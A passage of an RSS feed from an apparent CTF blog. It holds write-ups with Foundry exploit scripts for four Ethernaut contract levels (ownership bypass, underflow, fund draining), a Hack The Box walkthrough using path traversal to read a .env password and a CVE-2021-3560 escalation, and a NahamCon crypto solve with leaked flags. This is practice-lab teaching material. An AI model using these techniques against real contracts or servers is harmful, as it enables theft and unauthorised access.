</content:encoded></item><item><title>Telephone - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/telephone/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/telephone/</guid><description>Telephone challenge writeup</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel4.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;In this level, the goal is to claim ownership of the Telephone contract. The contract appears to have a safeguard that prevents direct ownership changes, but it uses a flawed authentication check that can be bypassed by calling through an intermediary contract.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability lies in the difference between &lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (tx.origin != msg.sender) {
    owner = _owner;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tx.origin&lt;/code&gt; refers to the &lt;strong&gt;original externally owned account (EOA)&lt;/strong&gt; that initiated the transaction&lt;/li&gt;
&lt;li&gt;&lt;code&gt;msg.sender&lt;/code&gt; refers to the &lt;strong&gt;immediate caller&lt;/strong&gt; of the function&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you call the contract directly from your wallet, both &lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt; are your address, so the condition fails.&lt;/p&gt;
&lt;p&gt;However, if you call through an intermediary contract:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tx.origin&lt;/code&gt; remains your EOA address (the transaction originator)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;msg.sender&lt;/code&gt; becomes the address of your intermediary contract&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This creates the required inequality (&lt;code&gt;tx.origin != msg.sender&lt;/code&gt;) that allows the ownership change.&lt;/p&gt;
&lt;p&gt;The exploit involves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Deploying an attacker contract&lt;/li&gt;
&lt;li&gt;Calling the attacker contract&apos;s exploit function&lt;/li&gt;
&lt;li&gt;The attacker contract calls &lt;code&gt;changeOwner()&lt;/code&gt; on the Telephone contract, creating the necessary &lt;code&gt;tx.origin != msg.sender&lt;/code&gt; condition&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Telephone.sol&quot;;

contract Attack {
    Telephone public telephoneInstance;
    address evilOwner;

    constructor(Telephone _telephoneInstance, address _evilOwner) {
        telephoneInstance = _telephoneInstance;
        evilOwner = _evilOwner;
    }

    function exploit() public {
        telephoneInstance.changeOwner(evilOwner);
    }
}

contract TelephoneSolution is Script {
    Telephone public telephoneInstance = Telephone(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Deploy attacker contract
        Attack attacker = new Attack(
            telephoneInstance,
            vm.envAddress(&quot;MY_ADDRESS&quot;)
        );
        
        // Execute the exploit
        attacker.exploit();
        
        // Verify the results
        console.log(&quot;The owner of the contract is:&quot;, telephoneInstance.owner());
        console.log(&quot;My address is:&quot;, vm.envAddress(&quot;MY_ADDRESS&quot;));
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/TelephoneSolution.s.sol --rpc-url $SEPOLIA_URL --tc TelephoneSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Token - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/token/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/token/</guid><description>Token challenge writeup</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel5.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;In this level, you start with 20 tokens and need to acquire additional tokens to complete the challenge. The contract contains a critical vulnerability due to arithmetic underflow in Solidity version 0.6.0, which allows an attacker to manipulate their token balance by attempting to transfer more tokens than they possess.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address =&amp;gt; uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value &amp;gt;= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability exists in the &lt;code&gt;transfer()&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(balances[msg.sender] - _value &amp;gt;= 0);
balances[msg.sender] -= _value;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Solidity versions prior to 0.8.0, arithmetic operations do not automatically check for underflow/overflow. When you attempt to subtract a larger value from a smaller unsigned integer, the result &lt;strong&gt;wraps around&lt;/strong&gt; to the maximum value of the type (2²⁵⁶ - 1) due to underflow.&lt;/p&gt;
&lt;p&gt;The exploit works as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You start with 20 tokens&lt;/li&gt;
&lt;li&gt;You attempt to transfer 21 tokens (more than you have)&lt;/li&gt;
&lt;li&gt;The calculation &lt;code&gt;balances[msg.sender] - _value&lt;/code&gt; becomes &lt;code&gt;20 - 21&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This results in an underflow, wrapping around to an extremely large number (2²⁵⁶ - 1)&lt;/li&gt;
&lt;li&gt;The require statement passes because the result is positive (albeit due to underflow)&lt;/li&gt;
&lt;li&gt;Your balance is then set to this enormous value&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Token.sol&quot;;

contract TokenSolution is Script {
    Token public tokenInstance = Token(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Check initial balance
        uint256 initialBalance = tokenInstance.balanceOf(vm.envAddress(&quot;MY_ADDRESS&quot;));
        console.log(&quot;Initial balance:&quot;, initialBalance);
        
        // Trigger the underflow by transferring more tokens than we have
        // Sending to address(0) to avoid affecting other balances
        tokenInstance.transfer(address(0), 21);
        
        // Check the new balance after the exploit
        uint256 newBalance = tokenInstance.balanceOf(vm.envAddress(&quot;MY_ADDRESS&quot;));
        console.log(&quot;New balance after exploit:&quot;, newBalance);
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/TokenSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In modern Solidity versions (0.8.0+), this vulnerability would be prevented by automatic overflow/underflow checks. However, since this contract uses version 0.6.0, the underflow occurs successfully, granting you an enormous token balance and completing the level.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Fallback - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/fallback/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/fallback/</guid><description>Fallback challenge writeup</description><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel1.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;In this level, we interact with a contract called &lt;strong&gt;Fallback&lt;/strong&gt;.&lt;br /&gt;
The goal is to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Become the owner of the contract.&lt;/li&gt;
&lt;li&gt;Drain all its funds.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At first glance, ownership seems restricted to whoever deploys the contract. However, the &lt;code&gt;receive()&lt;/code&gt; function hides a critical vulnerability.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address =&amp;gt; uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, &quot;caller is not the owner&quot;);
        _;
    }

    function contribute() public payable {
        require(msg.value &amp;lt; 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] &amp;gt; contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
        owner = msg.sender;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability lies in the &lt;code&gt;receive()&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;receive() external payable {
    require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
    owner = msg.sender;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;To trigger it, we must &lt;strong&gt;already have a contribution &amp;gt; 0&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Once this condition is met, sending Ether directly to the contract calls &lt;code&gt;receive()&lt;/code&gt; and &lt;strong&gt;updates the owner to our address&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the exploit sequence is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Call &lt;code&gt;contribute()&lt;/code&gt; with a tiny amount (&lt;code&gt;&amp;lt; 0.001 ether&lt;/code&gt;) to register a contribution.&lt;/li&gt;
&lt;li&gt;Send Ether directly to the contract → this calls &lt;code&gt;receive()&lt;/code&gt; and transfers ownership to us.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;withdraw()&lt;/code&gt; → since we’re now the owner, we can drain the contract’s balance.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Fallback.sol&quot;;

contract FallbackSolution is Script {
    Fallback public fallbackInstance = Fallback(payable(&amp;lt;YOUR_INSTANCE&amp;gt;));

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));

        // Step 1: Contribute a small amount
        fallbackInstance.contribute{value: 1 wei}();

        // Step 2: Send ether directly -&amp;gt; triggers receive()
        (bool success, ) = address(fallbackInstance).call{value: 1 wei}(&quot;&quot;);
        require(success, &quot;Fallback call failed&quot;);

        // Debug logs
        console.log(&quot;New Owner:&quot;, fallbackInstance.owner());
        console.log(&quot;My Address:&quot;, vm.envAddress(&quot;MY_ADDRESS&quot;));

        // Step 3: Withdraw funds
        fallbackInstance.withdraw();

        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Run the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/FallbackSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Fallout - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/fallout/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/fallout/</guid><description>Fallout challenge writeup</description><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel2.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;In this level, we interact with a contract called &lt;strong&gt;Fallout&lt;/strong&gt;.
The goal is to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Become the owner of the contract.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At first glance, ownership seems to be permanently assigned to the deployer via a constructor. However, a critical typo in the constructor&apos;s name makes it a public function, allowing anyone to claim ownership.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &quot;openzeppelin-contracts-06/math/SafeMath.sol&quot;;

contract Fallout {
    using SafeMath for uint256;

    mapping(address =&amp;gt; uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, &quot;caller is not the owner&quot;);
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] &amp;gt; 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability lies in the misnamed constructor function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;In Solidity versions &amp;lt;0.7.0, a constructor is defined by a function with the &lt;strong&gt;exact same name as the contract&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The function &lt;code&gt;Fal1out()&lt;/code&gt; (with a number &apos;1&apos;) does not match the contract name &lt;code&gt;Fallout&lt;/code&gt; (with the letter &apos;o&apos;), so it is &lt;strong&gt;not a constructor&lt;/strong&gt; but a regular public function.&lt;/li&gt;
&lt;li&gt;This means &lt;strong&gt;anyone can call this function&lt;/strong&gt; at any time to reassign the &lt;code&gt;owner&lt;/code&gt; to themselves.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the exploit sequence is simple:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Call the &lt;code&gt;Fal1out()&lt;/code&gt; function.&lt;/li&gt;
&lt;li&gt;The function executes, setting &lt;code&gt;msg.sender&lt;/code&gt; (our address) as the new &lt;code&gt;owner&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Fallout.sol&quot;;

contract FalloutSolution is Script {
    Fallout public falloutInstance = Fallout(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));

        // Debug logs before attack
        console.log(&quot;Owner before attack:&quot;, falloutInstance.owner());

        // Step 1: Call the misnamed constructor function
        falloutInstance.Fal1out();

        // Debug logs after attack
        console.log(&quot;Owner after attack:&quot;, falloutInstance.owner());
        console.log(&quot;My Address:&quot;, vm.envAddress(&quot;MY_ADDRESS&quot;));

        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Run the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/FalloutSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solving SafeMath Import Issue&lt;/h2&gt;
&lt;p&gt;If you encounter import/remapping issues for the SafeMath library in the challenge contract, follow these steps to resolve them in a Foundry project.&lt;/p&gt;
&lt;h3&gt;1. Configure &lt;code&gt;foundry.toml&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Create or modify &lt;code&gt;foundry.toml&lt;/code&gt; with the following settings:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;solc_version = &quot;0.6.0&quot;
remappings = [
    &quot;forge-std/=lib/forge-std/src/&quot;,
    &quot;@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Install the Correct OpenZeppelin Release&lt;/h3&gt;
&lt;p&gt;Install the version of OpenZeppelin contracts that matches the Solidity version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge install openzeppelin/openzeppelin-contracts@v3.4.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Update the Import Path&lt;/h3&gt;
&lt;p&gt;Modify the import statement in the challenge contract to use the remapped path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- import &quot;openzeppelin-contracts-06/math/SafeMath.sol&quot;;
+ import &quot;@openzeppelin/contracts/math/SafeMath.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This ensures the compiler correctly resolves the SafeMath dependency for &lt;code&gt;pragma solidity ^0.6.0&lt;/code&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Paper - HTB Machine</title><link>https://xiaowenjictf.github.io/posts/htb/paper/paper/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/htb/paper/paper/</guid><description>Paper writeup</description><pubDate>Fri, 05 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Recon&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- 10.10.11.143 -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/nmap.png&quot; alt=&quot;nmap scan output&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;h3&gt;Web (port 80)&lt;/h3&gt;
&lt;p&gt;We did not find anything manually with tools such as ffuf, so we used whatweb to attempt to obtain useful information. As part of the output, a domain was discovered near the end:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/whatweb.png&quot; alt=&quot;whatweb output showing discovered domain office.paper&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;office.paper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We are dealing with a WordPress instance.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image1.png&quot; alt=&quot;screenshot indicating WordPress instance or domain references&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reading the server content, We found a message that provided a hint indicating a possible vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image2.png&quot; alt=&quot;server message indicating potential vulnerability&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Consulting the referenced article, We identified the vulnerability that was being referenced:&lt;/p&gt;
&lt;p&gt;https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/&lt;/p&gt;
&lt;p&gt;We tested the behavior on the target server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://office.paper/?static=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image3.png&quot; alt=&quot;response from http://office.paper/?static=1 showing exposed content&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We obtained the following URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://chat.office.paper/register/8qozr226AhkCHZdyY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We resolved that subdomain and accessed the secret registration area:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image4.png&quot; alt=&quot;registration page on chat.office.paper&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We created an account with the address polar@polar.com and the password polar. While exploring, We observed a chat bot accessible from the application:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image5.png&quot; alt=&quot;chat interface showing the bot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By inspecting user comments, We discovered a useful hint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image6.png&quot; alt=&quot;comment containing a hint&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We proceeded to message the bot privately. The initial approach was to attempt an XSS; however, the bot responded with a set of available commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image7.png&quot; alt=&quot;bot response listing available commands&quot; /&gt;&lt;/p&gt;
&lt;p&gt;List of commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-1.png&quot; alt=&quot;list of bot commands screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After further testing, We successfully achieved Local File Inclusion (LFI):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;recyclops list ../../../../../../../home
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image-2.png&quot; alt=&quot;output of recyclops list showing directories under home&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While using the bot&apos;s list and file commands, We discovered a .env file within the bot&apos;s directory that contained credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-3.png&quot; alt=&quot;snippet of .env file containing credentials&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From the file, We observed a password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-4.png&quot; alt=&quot;revealed password from .env file&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Queenofblad3s!23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The discovered credential permitted SSH access to the account dwight.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-5.png&quot; alt=&quot;ssh session showing successful login as dwight&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We retrieved user.txt:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-6.png&quot; alt=&quot;contents of user.txt (user flag)&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;7d11932a1b6de6738b24c5ebc107ee7d
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Post Exploitation&lt;/h2&gt;
&lt;h3&gt;Root&lt;/h3&gt;
&lt;p&gt;Execution of LinPEAS revealed the following finding:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Vulnerable to CVE-2021-3560
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To exploit the vulnerability, We referenced the following public exploit repository:&lt;/p&gt;
&lt;p&gt;https://github.com/UNICORDev/exploit-CVE-2021-3560/blob/main/exploit-CVE-2021-3560.py&lt;/p&gt;
&lt;p&gt;We transferred the exploit to the target and executed it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;execution of CVE-2021-3560 exploit on the target host&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The compromised user possessed sudo privileges:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-7.png&quot; alt=&quot;evidence of sudo privileges for the user&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Consequently, We obtained the final flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-8.png&quot; alt=&quot;contents of root.txt (root flag)&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;682bc6dfe650b4a3c5eca6e5b20ffce5
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Nahamcon CTF 2025 - Crypto Clock</title><link>https://xiaowenjictf.github.io/posts/nahamcon/cryptoclock/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/nahamcon/cryptoclock/</guid><description>Crypto Clock challenge writeup</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Challenge Overview&lt;/h1&gt;
&lt;p&gt;The Crypto Clock challenge from Nahamcon 2025 provides an encrypted flag and some source code that generates a pseudo-random key using the current timestamp as a seed. The goal is to recover the original flag by replicating the key generation logic.&lt;/p&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;We are given the following encrypted flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; flag = &quot;a6717b705265d3b9d810736c72b27bc8bcc5d245e68ccada61f8c16277d5a8bb5655db3cc7d0&quot;
&amp;gt;&amp;gt;&amp;gt; print(len(flag))
76
&amp;gt;&amp;gt;&amp;gt; print(len(flag)/2)
38.0
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The hex-encoded string is 76 characters long, which corresponds to 38 bytes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Our task is to replicate the key generation, then XOR it with the ciphertext to retrieve the plaintext flag.&lt;/p&gt;
&lt;p&gt;Moving on, lets analyze the source code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;generate_key&lt;/code&gt; function, they will generate the same key if the same seed is provided. The seed that they gave was the current time, using python. We need to replicate the same behavior to get the key, than XOR it with the ciphertext to get the flag.&lt;/p&gt;
&lt;p&gt;Finally, we created our final exploit.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import time
import random
import socket
from pwn import xor

HOST = &apos;challenge.nahamcon.com&apos;
PORT = 31909

def bruteKey(size,seed):
    &quot;&quot;&quot;Challenge Function used to generate the key.&quot;&quot;&quot;
    if seed is not None:
        random.seed(int(seed))
    return bytes(random.randint(0, 255) for _ in range(size))

with socket.create_connection((HOST, PORT)) as s:
    # We retrieve the current time right after connecting to the port.
    current_time = int(time.time())
    print(&quot;Now it is currently:&quot;,current_time)

    # Then we retrieve only the flag part of the output.
    data = s.recv(1024).decode()
    enc_flag = data[47:123]

    # Finally, we get the size of the flag and pass it to the function that
    # generates the key.
    size = (len(enc_flag)) 
    key = bruteKey(size,current_time)

    # We need to conver the flag to bytes, to xor it with the key(that is already bytes)
    flag_bytes = bytes.fromhex(enc_flag)

    # XOR
    final_flag = xor(flag_bytes,key)

    # Clean the output
    flag = final_flag.decode(&apos;utf-8&apos;,errors=&apos;ignore&apos;)[:38]
    print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{0e42ba180089ce6e3bb50e52587d3724}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>